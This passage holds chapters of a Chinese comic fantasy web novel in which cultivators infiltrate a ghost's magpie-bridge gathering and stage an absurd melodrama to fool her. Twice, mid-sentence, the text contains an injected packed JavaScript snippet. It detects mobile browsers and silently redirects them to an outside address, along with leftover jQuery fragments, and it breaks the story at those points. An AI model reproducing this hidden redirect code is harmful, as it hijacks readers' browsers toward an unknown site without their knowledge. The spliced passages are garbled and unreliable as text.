两名鬼仆押着他回到了最顶层的一间房里,顶楼像魔方一般转了几圈,再看时,关押迦象子的房舍已不在原来的位置。 而后二鬼也不做看守,直接飞身离开,鬼身在半空中化作一团轻雾,萧衔蝉仔细辨认,发现这团雾飘向了被团团厚云掩住的月亮。 她蹲在栏杆背后,隐匿身形,心道,迦象子与二师兄和谢道友一同被抓来,想必他们二人距离此处也不远。 于是掐诀在飞讯密域传音,传音道:“金万两,谢无柩,你们俩在哪个房间?” 金不禁很快便回应:“在二楼乙五号房,谢无柩在我隔壁。” 谢无柩亦惊讶道:“萧道友,你是如何来到此处的?” 听到好友的声音,知晓他们二人无事,萧衔蝉一直绷紧的神经瞬间松懈了一半:“我抓着鹊鸟的腿进来的,我现在就去找你们。” 说完,她正要起身,眼珠却转了转,拧身对梁砚之道:“梁道友,这里屋舍众多,我们还是分头行事吧,你先去找迦象子小师父,我再找找我师兄他们。” 梁砚之黑漆漆的眼睛看着萧衔蝉,白净的脸露出一个温和的笑,点头道好。 萧衔蝉故作不知道师兄他们关在哪里,继续沿着一楼回廊行走,看到梁砚之去了三楼,才迅速跑到二楼,找到乙五号房。 她先用神识打量房舍内部,确认被符咒绑缚在椅子上的人是二师兄,而后才闪身进去。 这间屋子小巧,只有一床、一桌、一椅,桌上一柄烛台,在深沉如墨的夜里,红烛的灯火幽暗不明。 金不禁看到师妹满面焦急,感动不已。 “金万两!你见到女鬼了吗?” “我没事。” 嗯? 萧衔蝉和金不禁同时顿住了。 “我听见你的回信就确定你没事了。” “你见到师兄的第一句话就说这个?” 二人又顿住了。 “呵。”一个清冽的声音响起,正是隔壁的谢无柩,“我们没见到那个女鬼,听鬼仆说,他们此次已抓了近两百人,待鹊桥会那日便能见到女鬼了。” 听到靠谱的谢道友的声音,萧衔蝉才得到了想要的信息,想起这一路的所见所闻,她又问道:“你们有没有觉得梁砚之有些不对劲?” 金不禁眨眨眼,隔壁的谢无柩也没立刻回答,静谧几秒后,二人一齐问道:“梁砚之是何人?” 萧衔蝉补充道:“就是汨罗坞那个女修,腰上系着砚台样的法器,当日我们七人一齐去天禄阁查籍册,回来前还去吃了酒酿圆子,就是她送我和小师妹回书坊的。” 金不禁轻嘶一声:“当日……你们总共六人去天禄阁的呀?” 谢无柩冷静道:“而且那日你和秦道友回来时,我并未看到你们身后还有人相送。” 一道闷雷轰然响起,阴暗的天际霎时爬满乌云,却迟迟不见落雨。 花沸雪与秦含玉已经在胭脂河畔走了很久了,但无论怎么走,最后还是会回到原来的方向。 秦含玉多番查看无果,她本就性燥,加之修魔道,如今周身魔气渐浓,眼睛开始充血。 花沸雪轻拍小师妹的后背安抚她,声音温柔又坚定:“放心,他们不会有事的。” 秦含玉深呼吸了一下又一下,手握成拳,突然拿出系在腰间的酒葫芦,痛喝一大口,胡乱抹了一把嘴,魔气渐渐压了下去,道:“师兄,我们要不去找汨罗坞求助吧?” 花沸雪道:“祝道友已经回师门请援了,我们再去毫无意义,不如再仔细查看一番,无论多么高明的阵法或法宝,都有其缺点,只不过我们现在还未找到。” 秦含玉叹了一声,认命般低下头,正要继续寻女鬼老巢的入口,便听到一声:“娘——” 她低头,袋子口探出一个光溜溜、黑漆漆的三角小脑袋,正是他们从密州带出的小傻龙。 傻龙头顶水,好似嗅闻到了熟悉的气味,爬出袋子,沿着秦含玉的胳膊爬到她的头顶,盘在白色发带上,变成一条黑色发带,脑袋高高扬起,似乎在指引方向。 花秦二人对视一眼,心道不会如此之巧吧,难道这条傻龙还知道怎么找人? 却见小黑龙焦急地哼唧两声,又字正腔圆道:“娘!” 花沸雪道:“神兽有灵性,不若咱们就跟着它去瞧瞧?” 秦含玉眨眨眼,点了点头。 汨罗坞坐落于饶益最中间、最大的鹿鸣城,城中遍布书坊私塾,人人以读圣贤书为荣,此处真可谓谈笑有鸿儒,往来无白丁。 祝墨之跪在师父下手,行了一礼:“那鬼狡诈狠毒,法力高深,弟子不敌,只得回宗门请师父施以援手,救黎民性命,还百姓安宁。” 昭平儒君道:“也罢,若那厉鬼果如你所说,你便用此物降伏她。” 说着,广袖一挥,伴随阵阵光辉的,是昭平儒君的法宝天地纸和生民笔。 祝墨之看见师尊给他的法宝,眼角留下一滴泪,感动首:“弟子叩谢师尊,必不负所托。” 他又行了一礼才离开,昭平儒君的关门弟子侍立一旁,好奇道:“师尊,我听说您的这套法宝原有四件,弟子入门许久,只今日有缘见了两件,另外两件呢?” 昭平儒君道:“一件在你祝师兄手里,另一件……”一滴雨落在他的手旁,昭平儒君看向连绵不断的雨丝,“今年雨水太多了,自从进了七月,只得一次晴天。” 小弟子很快转移了注意力:“是啊,我藏墨的地方多结了好几个法阵,以免墨受潮。” 昭平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14980677|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儒君问道:“各处可有发生洪涝灾害?” 小弟子挠挠头:“我没听到过,不过即便有洪涝,各城城主是我汨罗坞的修士,便不能补天填海,救个把凡人想必不在话下。” 昭平儒君点点头,挥手叫小徒弟退下,看着窗外连绵不尽的细雨,不发一言,平添几分惆怅。 萧衔蝉浑身起了一层鸡皮疙瘩,之前的记忆在她脑海里不断回放,现在想来,但凡梁砚之与她说话,周围人都视若无物,但凡她接梁砚之的话,小师妹就会奇怪的看她一眼。 还有梁砚之的体温,那么凉,抓着她脚脖子的时候,她感觉周身都被冰冻住了。 这么多不对劲,她竟然直到进了这座吊脚楼才发觉。 萧衔蝉死死咬唇,让自己平静下来,良久,她道:“我明白了,梁砚之可能就是那个抓迦象子的厉鬼,可她既然知道我们是故意被鬼仆所抓,为什么不设防?又为什么将我引入她的老巢?” 谢无柩却否定了她这个说法:“与人修一到筑基期便能驻颜不同,鬼修若有执念,便会一直保持死亡之时的模样,即便修至大乘期也不能改变容颜,她总不会短短几天就执念顿消吧。” “许是……肉身幻影?” 谢无柩摇头:“花道友也用了肉身幻影,但若触碰他,还是只能碰到骨头,你与你说的梁砚之接触却未曾察觉到异样。” 萧衔蝉思索道:“可厉鬼被杀了多次还能神智清明,留存于世,想必还有什么秘法也未可知。” 谢无柩便不再言语,细想萧衔蝉的话也有道理,他正在想是什么让此鬼有如此能力,便感受到了熟悉的气息,他循着气息看去,不知何时,围绕月亮的云雾散开,点点月华倾泻而下。 难道这里也有那个东西?这也便能解释那厉鬼身上种种奇特之处了。 正沉思时,萧衔蝉一个穿墙术,和金不禁一起出现在谢无柩身边,对上谢无柩不解的目光,她笑嘻嘻道:“我才发现这里没有设禁止法术的禁制。” 谢无柩无声叹气,由着萧衔蝉给她解开束缚,他自顾自踱步来到窗前,轻轻推开一条缝隙,任由月光撒进来。 他眼底含冰,嘴角勾出一个嘲讽的笑,那人费尽心思想要杀他夺取轮回盘,却原来即便轮回盘碎了也不能为他所用,毁又毁不掉,只能想出这种法子,将轮回盘散入各界,任人消耗。 如今他虽不能杀了他,但找回轮回盘的灵珠,重造轮回盘,与他同归于尽,想必不难…… “月亮上好像有东西。” “是不是有一个人影?” “看不清啊。” 谢无柩的嘴角抿了抿,微微抬头,头顶却压着沉甸甸的重量。 萧衔蝉和金不禁的脑袋叠罗汉一样放在谢无柩的脑袋上,三人的脑袋如同一串糖葫芦,保持同一角度,一起看月亮。 谢无柩忍了又忍,还是没忍住:“二位,你们不觉得这个姿势……有些过分亲密吗?” 金不禁大惊失色:“谢无柩,我们是朋友诶!” 萧衔蝉委屈巴巴:“朋友之间贴贴怎么了?” 谢无柩:“……不瞒二位,在下如今已有两千岁,做二位长辈都绰绰有余。” 金不禁和萧衔蝉终于挪开脑袋,谢无柩感受到了久违的轻松,正想着这两个家伙终于能看懂他人眼色,便看到他们二人古怪的神情。 萧衔蝉嘴唇动了动:“谢无柩,你不会是想当我俩的爹吧?” 金不禁完全不在乎这个:“行,今天让你一把,我喊你爹,你喊我大兄弟,明天咱俩再换。” 35. 汨罗坞(七) 三人说笑,不,实际上,是萧衔蝉和金不禁单方面玩伦理笑话,谢无柩一张死人脸,逗得这俩人哈哈大笑。 笑着笑着,萧衔蝉突然倒吸一口凉气:“遭了,我忘了迦象子了!” 她趴到窗户缝隙,却找不到关押迦象子的房间,也找不到梁砚之的身影,若梁砚之真是那个厉鬼,她可是害了迦象子。 谢无柩看她无头苍蝇似的转,冷静道:“放心,禅师不会有事,若我没猜错,厉鬼掳掠男子是为了男子阳气,她一时半会不会杀了禅师。” 萧衔蝉担心道:“可哪能将人之性命全权寄托于鬼怪身上,万一……我怎么对得起迦象子?” 她与其他二人商量如何相救,却卡在了第一步——找人。 这座吊脚楼遍布机关,每层楼都像魔方一样变化万千。 “其实每层楼也不过百余间房。”谢无柩出了个主意,“若你修为至金丹大圆满,便能用神识覆盖一层楼。” 萧衔蝉无语地看了他一眼,正打算让二师兄保护谢无柩,她则上楼挨个房间寻找,便听到一阵猎猎风声。 本能让她做出反应,萧衔蝉一个滚身,藏到了谢无柩的床底下,金不禁也迅速用穿墙术回去了。 谢金二人假装依旧被绑缚在椅子上,静候来人。 吱呀一声,木门大开,夜幕中飘着一个黑雾样的鬼仆,二话不说,提溜着谢无柩离开了。 萧衔蝉等鬼仆飘远了才用潜行符跟上去,只见整座楼各屋都有人被鬼仆提溜出来,众鬼提着人往上飞,恰如一盏盏人形孔明灯,在夜幕中汇聚成河。 夜空中鹊鸟搭成了一座桥,桥上正中有座红色建筑,时不时便有个人影从红色建筑中被踢出。 被踢出的人惊恐地大叫,以为自己就要摔死,萧衔蝉准备救人时,有只鹊鸟飞出来,叼住坠落之人的领口,带他往外飞去。 萧衔蝉听到红色建筑内有声音道:“阳气这么少的男人你们竟也带回来了?” “主上息怒,还请主上告知我等该挑什么样的?” 那个声音很是无奈:“我都说了一千次了,只有两不挑,不要阳气少的,不要丑的!很难理解吗?” 嘭一声,鬼仆也被扇出来了,接连嘭嘭几声,又有一些男人被踢出来,萧衔蝉注意到,那些男人在被鹊鸟叼住后,神思就会变得恍惚,等他们离开这里,肯定就忘了这里发生的所有事情。 萧衔蝉正要再上前看看女鬼真容是何模样,便见天边飞来两个人影。 夜风吹过,连绵的山林霎时作波浪状起伏,花沸雪和秦含玉还在山间行走,小黑龙领的路越来越离谱。 秦含玉看着它高高翘起的三角形脑袋,像指着上方的箭头,叹了一口气:“小黑,你不会是叫我们爬树吧?” 自从小黑龙领路,她和大师兄虽然没再回到原地,但翻了十个山头,从白天走到夜晚,再从夜晚走到凌晨,期间上山下河,过草地,渡沼泽,可还没走到目的地。 此时秦含玉看着眼前十人合抱的大树,又看看小黑坚定的眼神,无奈飞身向上,与花沸雪一起来到大树顶。 二人站在风中摇曳的树梢上,试图找藏在这里的暗阵——一些阵法就是会布置在奇奇怪怪的地方,只要触发,就会被传送到目的地。 找了半天,这里除了树叶和狂风,连鸟屎都没有。 秦含玉抓狂,一把薅下小黑:“你到底要带我们去哪里?” 小黑钻出秦含玉的手掌,身体笔直像一把尺子,和秦含玉无言对峙。 花沸雪看着小黑直挺挺的身体,突然道:“它是不是叫我们飞上天去?” 天上一轮明月映照着天地都亮堂堂的,萧衔蝉在看到两个身影的瞬间就躲到鹊鸟后面,她悄悄观察,一人身量高挑,看不清容貌,另一人身穿大兜帽斗篷,戴一张银玉面具——这不是浮云阁阁主吗? 萧衔蝉瞪大眼睛,只见这两人冲着鹊桥会而去,不多时,里面便传来声音:“黄真人?你们怎么来了?” “你知道我为什么而来。” 女鬼声音骤然拔高:“那东西既已给了我,你又为什么要它。” “我只借用一段时间,不会夺它而去。” 再不闻里面声音,女鬼似在沉思,不多时,鬼仆提溜着还没选完的众男子出来了。 萧衔蝉目送谢无柩和师兄被丢回原来的房间,继续躲在鹊桥后,试图听取更多信息。 女鬼沉思了很久,有一瞬间,萧衔蝉甚至都感受到了杀意,不过最后女鬼并没有动手,她声音满是戾气:“待过了鹊桥会我再给你。” 黄真人和随行之人住在了四合水楼后面的青山洞府里,地方很是隐蔽,萧衔蝉确定了他们所在之地,很快就用潜行符回去了。 与谢无柩和二师兄商议过这件事后,三人一致认为来人是黄真人无疑,对黄真人与密州、饶益的关系更是猜测万千。 还有他们对话中的“那个东西”是什么,萧衔蝉对此也有无尽猜测,但更让萧衔蝉疑惑的是谢无柩的反应,自从听到黄真人要“那个东西”,他的脸上就闪过一丝阴霾,萧衔蝉猜他知道“那个东西”是什么,但显然谢无柩不愿意说。 黄真人来此地之后,鹊桥会明显加快了速度,吊脚楼周围的鬼仆也多了起来,萧衔蝉不敢再四处行走,想趁夜寻找迦兕子师傅和梁砚之都不能,只能等到第二天。 此地不分昼夜,无论何时都有一轮被黑雾笼罩的明月,萧衔蝉躺在谢无柩房间的桌子上睡觉,神识感应到有人靠近的瞬间,熟练地钻进谢无柩床下。 目睹一切的谢无柩心中莫名浮现“偷人”二字,他摇摇头,赶忙将这恐怖的字眼从脑海中抛出去。 来人是昨天那个鬼仆,现在带谢无柩继续去参加鹊桥会,萧衔蝉依旧悄悄跟了上去。 众郎君被厉鬼掳掠至此地皆惴惴不安,看到上首坐着的鬼气森森、面目可怖的鬼主,更觉害怕,皆瑟瑟发抖。 忽闻远处传来挣扎声,两个光头反射着月光而来,正是迦象子和他的师兄迦兕子。 迦兕子傲骨铮铮,正气凛然:“尔等恶鬼,有本事就冲我来,少打我师弟的主意!我师弟今年才三百零一岁,还是个孩子!” 迦象子感动得泪眼婆娑:“师兄……” 高坐在上的厉鬼冷眼旁观这幅兄弟情深的画面,流着脓水的手挥了挥:“你丑成这副模样,还想本座准你随侍左右吗?” 一直挣扎的迦兕子停下来,不敢置信道:“你说我丑?” 厉鬼缠绕着蛆虫的手一指,迦兕子的嘴就被封住了,她的指尖缓缓点过面前 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“怎么不说话?”梁砚之声音柔柔,“我们要不现在就冲上去,与迦象子师兄弟联手,一起制服那厉鬼?” 萧衔蝉心道还不知你是人是鬼,何谈联手,面上却不显露分毫,只更加谨慎,抓住梁砚之的胳膊道:“不行不行,稍安勿躁。我们分开之后梁道友去哪了?” “我去找迦象子小禅师,却没找到,藏身于一间空屋。”梁砚之的回答滴水不漏,她又问道,“方才看见你躲在此处,便来寻你,你暗中观察了半天,都看到了什么?” 她嘴角含笑,声音又轻又快,一向口齿伶俐的萧衔蝉却如同锯了嘴的葫芦,一时间想不出如何糊弄过去,正额角冒汗,忽觉眼前一黑,一片浓雾裹挟着她飘进鹊桥会正中的红色大殿。 再见光亮时,萧衔蝉跪在大殿正中,下巴被爬着蛆虫的皮包骨手指挑起,两只眼睛正正对上一双黑洞洞的鬼眼。 “嘶——” 她倒抽一口冷气,差点一屁股坐下。 鬼主仿佛对她很感兴趣似的,绕着她转了一圈,湿答答的衣摆擦过她薄薄的裤子,凉意如同一把冰刀,插进她的小腿,萧衔蝉不由自主哆嗦了一下。 “我记得你。”鬼主开口,声音嘶哑,语调轻柔,“你那日说我的小禅师有龙阳之好,我回去查遍九州风云录,未见你所说的那个什么保护协会,敢是你骗我?” 说到最后一句,语气突然上扬,森森冷风穿堂而过,吹得萧衔蝉的头发噼啪打在脸上。 萧衔蝉双臂被黑雾绑缚在后,她奋力向前膝行几步,眼含热泪,声音充满感情:“姐姐,我哪敢骗你啊!” 迎着女鬼毫无眼珠的眼洞,忽视背后众人的视线,萧衔蝉的大脑飞速运转。 女鬼冷笑一声:“莲送归的这两个弟子今年之前一直在丰溢修炼,从未出门,你从哪知道迦象子是断袖?且不说这个,我观你在我宅中藏身多时,想必与那群腐儒打一样的算盘,必要置我于死地才肯罢休,不必多言,今日便叫尔等有来无回!” 萧衔蝉感受到绑缚她的黑雾攀爬上她的脖颈,寸寸收紧,她连忙喊道:“姐姐,我是来带走我心上人的!” 生死关头,智慧与灵感以前所未有速度占据高地。 “我的心上人就是——迦象子!” 36. 汨罗坞(八) 鹊桥会安静到落针可闻,但如果人的表情会发出声音的话,此处必是世上最喧闹之地。 众人与诸鬼齐齐看向正中的萧衔蝉,方才听到的惊世骇俗之语还萦绕在耳畔,久久不散。 女鬼哈哈大笑:“什么?你的心上人是小禅师?他此前从未离开过莲送归,你上哪儿去认识他,既不认识,何谈心悦?” 萧衔蝉一双眉毛微蹙,脸扭向一边,眼睛瞪了许久,终于因为眼酸而流出一滴差点看不出来的泪,她长叹一声,饱含深情的看向已经懵了的迦象子:“事到如今,我也不瞒你了,迦象子,你还记得大明湖畔的萧衔蝉吗?” 迦象子脸部肌肉抽搐,嘴角翕动,半天说不出话来。 萧衔蝉猛地一甩头,似悲戚至极,哀哀道:“我也是莲送归的弟子,自幼与迦象子相识……” 女鬼惊讶地坐直身体:“莲送归不是佛修之地吗?” “我原是尼姑。”萧衔蝉很利索地回答,“贫尼法号,迦椰子。” 女鬼喃喃道:“都是迦字辈……” “不错!”萧衔蝉见女鬼好似信了几分,更加卖力,“我早就倾慕莲送归的迦象子小师兄,他是那么高雅、那么温柔、那么不染尘埃……” “吸溜——”迦象子没忍住,吸了下鼻涕,这里众鬼环绕,饶是他筑基,也难敌鬼气所带的寒冷侵扰,尤其此时,他被震撼到了。 萧衔蝉忽略掉崩人设的声音,继续道:“有句话说得好,世界上最难隐瞒的便是感冒时的喷嚏,和暗恋时的心情,我对迦象子小师兄的爱被发现了……” “等等,你对谁的爱?”门口突然传来声音,众人看去,只见一穿翠色衫群的女子走了进来。 萧衔蝉瞳孔微缩,这不是碧芳吗? 自己这般唱念做打,一是为了试探梁砚之与此厉鬼的关系,二是为了让迦象子与迦兕子师兄弟相聚一起——若不能同留在此地,最好一同离开,也好布置那什么地藏十轮阵。 只想着这两件事,却忽略了黄真人也在这里,是了,当初是碧芳将他们引见至黄真人处,黄真人在此,碧芳也当在此,失策了! “我在春江渡看到过你,你那时不是……”碧芳坐到女鬼身旁,抬了抬下巴,指向站在后面的谢无柩,“不是怀了他的孩子吗?” 萧衔蝉闭了闭眼,百密一疏,竟不知碧芳曾与他们同在春江渡口,不过剧本还能圆! 瞬间,构思过百万字狗血黄文的脑子又想出了新剧情,萧衔蝉在飞讯密域留下一句:谢无柩,准备上场。 对着曾经写过的三部狗血文发誓,这次剧情绝对会炸翻所有人! 谢无柩忽然被喊名字,深吸一口气,熟悉的不详预感又出现了。 “呵!”笑声柔滑,萧衔蝉一条腿屈膝,支撑着站起来,脑袋低垂,发丝遮挡她的脸,只露出嘴角诡异的弧度,她邪魅一笑:“没想到,这个真相会在今天揭开。” 与谢无柩的抗拒不同,金不禁在飞讯密域里上蹿下跳:妙妙,你的剧本是什么?给我一个发挥的角色啊! 萧衔蝉沉浸在自己足以拿下奥斯卡最佳影后的演技里:“我那时对迦象子爱的深沉,为他还俗,被逐出师门、废掉修为也在所不惜,因为我以为他也爱我。” 她声音凄楚,如同杜鹃啼血。 “谁知我只是一个挡箭牌呢?我原以为还俗之后,我二人会过上幸福快乐的生活,可他竟然背着我与一个男人在一起!” 萧衔蝉蓦地看向谢无柩,哭嚎道:“谢无柩,你听清楚了,我们二人的不期而遇,都是我处心积虑勾引你,我和你在一起,只是为了报复迦象子罢了!就连那个意外失去的孩子,也都是骗你的!我故意的,我不想与你生下孩子,我只想你们两个和我一样痛苦!” 话音落地,四周齐齐响起抽气声,一只鬼仆的眼睛被瞪出眼眶,他手忙脚乱地接住眼睛按回去。 这就是演技,能震掉观众眼睛的演技,萧衔蝉的嘴角浮现出微不可查的得意,眼神依然沉浸在戏里,三分痛苦三分讥讽三分大仇得报的快活。 而谢无柩,视线转向一边,像业务差的花瓶,一动不动,如果此时地面有缝,他一定会钻进去。 一秒过去了。 两秒过去了。 第三秒,萧衔蝉传音入密:谢无柩,快给点反应啊!你就问我可曾有过一丝真心。 谢无柩嘴唇张开又闭上,他实在无法说服自己演这么脑残的东西,谢无柩从不会反思自己,然而此刻,他却衷心反思起来,反思自己是不是过往作孽太多,以至于今日落入这等境地。 金不禁连忙趁此机会抢戏,他看上去就像连续被十八个女朋友抛弃的弃夫:“你可曾对他有过一丝真心?” 萧衔蝉憋着呼吸憋到眼眶泛红,声音颤抖,带着一分倔强:“从未!” 这场我爱他、他爱他、他爱我,包含佛子还俗,勾引替身的三角恋大戏终于落下帷幕。 萧衔蝉想着,这下女鬼至少会把迦象子师兄弟和谢无柩一起排除鬼夫选拔行列,她一边计划帮迦兕子迦象子去布下地藏十轮阵,一边给自己悄悄颁发最佳女演员奖。 我真是个小天才,她嘴角微翘。 众人不知是信了她的鬼话,还是被狗血剧情震撼到了,总之都在低头沉思,一时间鹊桥会鸦雀无声。 突然,萧衔蝉同时听到两个声音,好似两道刃,劈开了一室寂静—— 一个是小师妹在飞讯密域中的惊呼声:天呐师姐,才一会不见,你就陷入究极三角恋中了? 一个则是丝毫没有掩饰、大到惊天动地的:“娘——” 这个喊娘声刚出口,女鬼立刻五指成爪,尖利的指甲泛着黑光,一个用力,黑雾漫天,倏尔,花沸雪与秦含玉连同喊娘的傻蛇小黑一同五花大绑,出现在大殿之上。 花秦二人风尘仆仆,头顶草叶,脸上都是土,显然赶了许久的路。 女鬼似讽似怒:“呦,今日好生热闹,几位也来寒舍做客?” 萧衔蝉握紧拳头,在密域中恨铁不成钢:你们这是葫芦娃救爷爷,一个接一个的送啊! 金不禁怒道:这蛇傻成这样,谢无柩还说是龙,别是看错了吧?回去就剥了它的皮煲汤! 花沸雪解释道:是小□□我们找到此处的,我们方才看到两个月亮,还没反应过来就听到妙妙在说话,就忘了给它下禁制了。 简而言之,他们也被萧衔蝉绝妙的剧情和精湛的演技震住了。 秦含玉却不慌不忙,将卧于头顶与白色发带缠在一起的小黑抱下来,自信道:师姐放心,看我怎么接上你的戏往下演。 “鬼主容禀,我来贵宝地,也只是为了心上人的安危罢了。”秦含玉清了清嗓子,换上一副悲戚的模样:“萧衔蝉,你以为那个孩子只是一个砝码吗?可我怎会忍心你的血脉就此死去呢?我以你师妹的身份陪伴你那么久,你为什么就看不到我呢?” 萧衔蝉一脸空白,两眼直视前方,若仔细看她的眼睛,只是空洞无物,谢无柩看到她看似平静实则呆滞脸,嘴角微微翘了一下。 笑容不会消失,笑容只会转移。 秦含玉道:“你打掉的那个孩子的魂魄被我捡回去了,孕育十月后,又将它生下来了。它还那么小,不该是筹码,不该是弃子!” 萧衔蝉抿了抿唇,但愿不要有人质疑两个人类为什么会生出蛇。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15017042|157230||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >秦含玉弃子二字才说完,怀里那条自捡到后只会喊娘的傻蛇突然开口:“娘,为什么?好疼啊!” 秦含玉惊讶一瞬,立刻道:“是啊,多疼啊,我……” 她的话又被打断了,这次打断她的不是小黑,而是碧芳。 碧芳看了许久才认出来,这女子不正是她在浮云阁遇到的丑男人吗?怪不得她觉得眼熟呢。 “你不是个男的吗?”她问道,“我记得你,你还跟我抢花魁呢!你怎么又变成女人了?” 女鬼黑漆漆的眼睛霎时射出凌厉的风。 秦含玉到底年纪小,经验不足,一时反应不过来,余光看向师姐求助。 萧衔蝉连忙写下剧本3.0,在飞讯密域连连喊大师兄上场。 花沸雪熟练地替师妹圆场:“那是因为有我,在下恰好是个医修,常研制医药,替她做了女变男又变女的药丸。” 每个狗血文里都会有一个医生,这个医生要么是主角朋友,随叫随到,要么是法外狂徒,科学怪人,花沸雪专业对口,本色出演。 剧情一下子从恨海情天变成生物科技、人类实验伦理学。 四周人鬼俱静,都在捋关系,这是一个怎样的涵盖了bg、bl和gl三大领域、她爱她爱他爱他爱她加带球跑的复杂关系。 “药丸?我看你们要完!”女鬼愤而拍桌,指着这些胡言乱语的人道,“把那个丑和尚丢出去!还有这几个人,统统给我关起来!” 女鬼觉得方才差点信了萧衔蝉话的自己就是个傻子,从带动人心的复杂剧情中跳出来,就能发现这几人的话满是漏洞——怎么会有人真的这么脑残,而这么多脑残又恰好聚在一起? 与其说她们讲述的是故事,不如说她们讲述的是事故。 萧衔蝉灰溜溜地被丢进一间空屋子,滚了一身灰,虽然她未被捆绑起来,但这间屋子被下了禁制,她用不了法术。 她敲敲墙面,拉拉窗子,又试着推门,可都是徒劳无功,怎样都打不开,更看不到外间的景象。 萧衔蝉泄气般长吐一口气,将自己摔到竹床上,只听一阵阴风吹过,竹林沙沙作响,远处瀑布奔流,水击山石,似大珠小珠落玉盘。 晚风将云雾吹散些,月华便如同摘掉面纱的美人,清凌凌普照此间,萧衔蝉看着透过窗纱的朦胧月光,心中一片凝重,如今也只能走一步看一步了。 如此良夜,她却无心欣赏,只数着心跳,计算时间。 “咚,咚,咚。” 某个瞬间,好像有另一种节奏加入到了她的心跳。 “唰,唰,唰。” 萧衔蝉一个激灵,坐起身来,侧耳仔细倾听,这个声音像是蛇腹摩擦地面,又像是衣料擦过栏杆。 有人来了! 萧衔蝉连忙站起来,手指掐诀,刚想迎战,就想起自己如今使不出法力,连芥子袋都打不开,更遑论与人相战。 她一个滚身,钻进了床底下,紧紧攥着腰上系的几张符箓,当时她进吊脚楼前给梁砚之符箓护身,自己也拿了几张,此时能依靠的战力,也唯有这些符箓了。 “吱呀——” 竹门无风自动,打开了,从床榻与地板之间的狭长空间看去,一个黑乎乎的影子逆光而站。 “唰,唰,唰。” 黑影向床的方向走来,越来越近,停在床边,萧衔蝉指尖泛白,死死盯着竹床与地面之间的空隙,只看得到一双脚,她蓄势待发,额头渗出细汗,牙关紧咬。 “找到你了!” 乍然,萧衔蝉对上了一双眼,她猝不及防看到对方弯弯的嘴唇,殷红柔软,像钩子一样。 那黑影蹲下身,发现她了。 37. 汨罗坞(九) 萧衔蝉不由短促地尖叫一声,打了个哆嗦,出了一身白毛汗。 面前那人噗嗤一下笑出声,眼睛弯弯:“吓到你了?你好歹也是个修士,怎的这般胆小?” 鹅蛋脸,柳叶眉,雪肤花貌,来人正是梁砚之。 萧衔蝉却不知自己是幸还是不幸,在自己手无缚鸡之力时,来人却是敌友不明的梁砚之,卡在喉咙的一口气放松也不是,不放松也不是。 梁砚之好像没有敌意,她俏皮地问道:“怎么躺在床底?就这么怕鬼?” 萧衔蝉不知该摆出什么表情,只裂开嘴,笑的比哭还难看,却还强撑着面子:“梁道友真是调皮,我一个修士,怎么会怕鬼?” 梁砚之好整以暇,抱着胳膊:“不怕鬼你藏在床底干什么?” 萧衔蝉嘴硬道:“我是想着我躺床上躺了这么久,公平起见,床也该躺我身上试试。” 她边说边从床底爬出来,手指紧紧捏着腰后的符箓,梁砚之现在的行为举止很奇怪啊,该怎么试探才能试探出她与此间厉鬼的关系呢? 梁砚之的笑声更大了,一双杏眼盯着萧衔蝉,满是戏谑:“你不怕鬼?真不怕鬼?” 看到面前人小鸡啄米般使劲点头,她突然阴森森道:“那这样你也不怕吗?” 萧衔蝉就看见梁砚之上一秒还白净平滑的皮肤突然变黑,紧缩在一起,连带着眼眶周围的皮肤也皱在一起,黑白分明的眼珠消失不见,只余下空无一物的眼洞。 一颗脑袋变成干了的枣核,皱巴巴的,爬着蛆虫,跟才见过的此间鬼主一模一样。 柳眉杏眼的少女突然变成面容可怖的女鬼,身上整洁的衣饰也变成了湿答答的、好似在胭脂河里浸泡千年的破烂袍子。 萧衔蝉吓得后退几步,被竹床拦住脚步。 好家伙,她还想着该怎么试探,人家就直接摊牌了,不装了! “哈哈。”萧衔蝉干笑几声,“梁道友快别开玩笑了,赶紧变回来。” 梁砚之翻了个白眼——她现在没有眼球,萧衔蝉是看她脑袋动作的弧度猜她在翻白眼——梁砚之翻白眼道:“你不是早就察觉到我不对劲了吗?还给我符箓试图降低我的疑心,干嘛这么惊讶。” “我哪里早就察觉到你不对劲了?我是进了这座吊脚楼,觉得一切太顺才开始怀疑的,后来又见到我师兄,听他们说从未见过你,我才确定你身份不一般!” 萧衔蝉开始声音还在哆嗦,越说越觉得这人辜负了她的信任,还诓骗了师父给她的符箓,越想越气,声音也越来越大。 “我给你符箓的时候还没怀疑你呢!” 梁砚之有些惊讶地挑眉:“我以为你是装的,没想到你真这么……” 她清了清嗓子,把“傻”字咽下去,心底生出一丝愧疚。 看着她似有愧色的神情,萧衔蝉捏紧符箓的手指放松几分:“你为什么要装成生人接近我?又为什么突然摊牌了?” 梁砚之变回人的模样,突然凑近,压低声音:“因为我就要命不久矣了,临死前想交你这个朋友。” 萧衔蝉的干笑变得苦涩,也不知该不该为自己的亲和力和好人缘感到自豪:“你交朋友的方式真特别。” 她还想再说几句试探一下梁砚之的目的,便猝不及防被黑色鬼雾箍紧她的胳膊。 萧衔蝉瞳孔一缩,暗道不好,反手将藏匿于腰后的符箓甩出来:“吃老娘一记!” 只听符箓炸开,飞沙走石,萧衔蝉立即匿身于烟雾中,裤腿被风吹得鼓起,发辫在半空画出一个轻巧的弧度,她脚尖轻点,撑着窗台一跳,迅速从窗子钻了出去。 